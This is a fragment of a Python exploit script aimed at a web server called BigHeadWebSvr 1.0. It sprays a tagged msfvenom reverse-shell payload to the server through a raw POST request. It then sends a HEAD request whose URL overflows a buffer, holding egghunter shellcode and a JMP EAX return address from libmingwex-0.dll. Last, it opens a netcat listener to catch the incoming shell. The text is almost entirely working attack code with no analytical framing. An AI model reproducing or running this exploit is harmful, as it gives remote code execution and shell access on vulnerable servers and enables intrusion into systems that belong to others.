print("[*] Sending payload 16 times") for i in range(16): p = remote(target, port) #print(spray_payload) p.sendline(spray_payload) p.recv() p.close() sleep(0.1)
shl = (# Prepends a string of 3mg33mg3 ("3mg3" * 2) + # Insert msfvenom revshell payload RevShell )
egh = (# EggHunter Shellcode "6681CAFF0F42526A"# 32 byte EggHunter, with egg of '3mg3' "0258CD2E3C055A74"# This will scan through mem address space "EFB8336D67338BFA"# and try to match the string "3mg33mg3", "AF75EAAF75E7FFE7"# then execute the shellcode that follows it. )
buf = (# Place the EggHunter at the start of the buffer. egh + # EIP Overwrite Buffer ("A" * ((72) - len(egh))) + # 64552F19 JMP EAX # From Module Name=C:\MinGW\bin\libmingwex-0.dll "192F5564" )
sploit = (urlpath + buf)
print("[+] Sending evil HTTP request to BigHeadWebSvr 1.0")
try: # Prepare POST content body so it won't URL Encode the shellcode data. s = Session() payload={'5h377':shl} r = Request('POST', urlpath, data=payload, headers=hdrs) prepped = r.prepare() prepped.body = shl del prepped.headers['Content-Type'] # Send The Egg RevShell Payload as a POST Request data resp = s.send(prepped, proxies=proxy, timeout=0.01) print(resp.status_code) except: print("[+] Shell Payload Sent...")
try: # Send the HEAD METHOD BOF Exploit r = requests.head(sploit, headers=hdrs, timeout=0.01, proxies=proxy) except: print("[+] Exploit Sent!")
try: # Start a netcat listener and wait for the incoming connection print("[+] Listening for reverse shell") ncl = subprocess.Popen(lstner, shell=True) ncl.poll() ncl.wait() except: print("\r[!] Shell Terminated!") exit(0)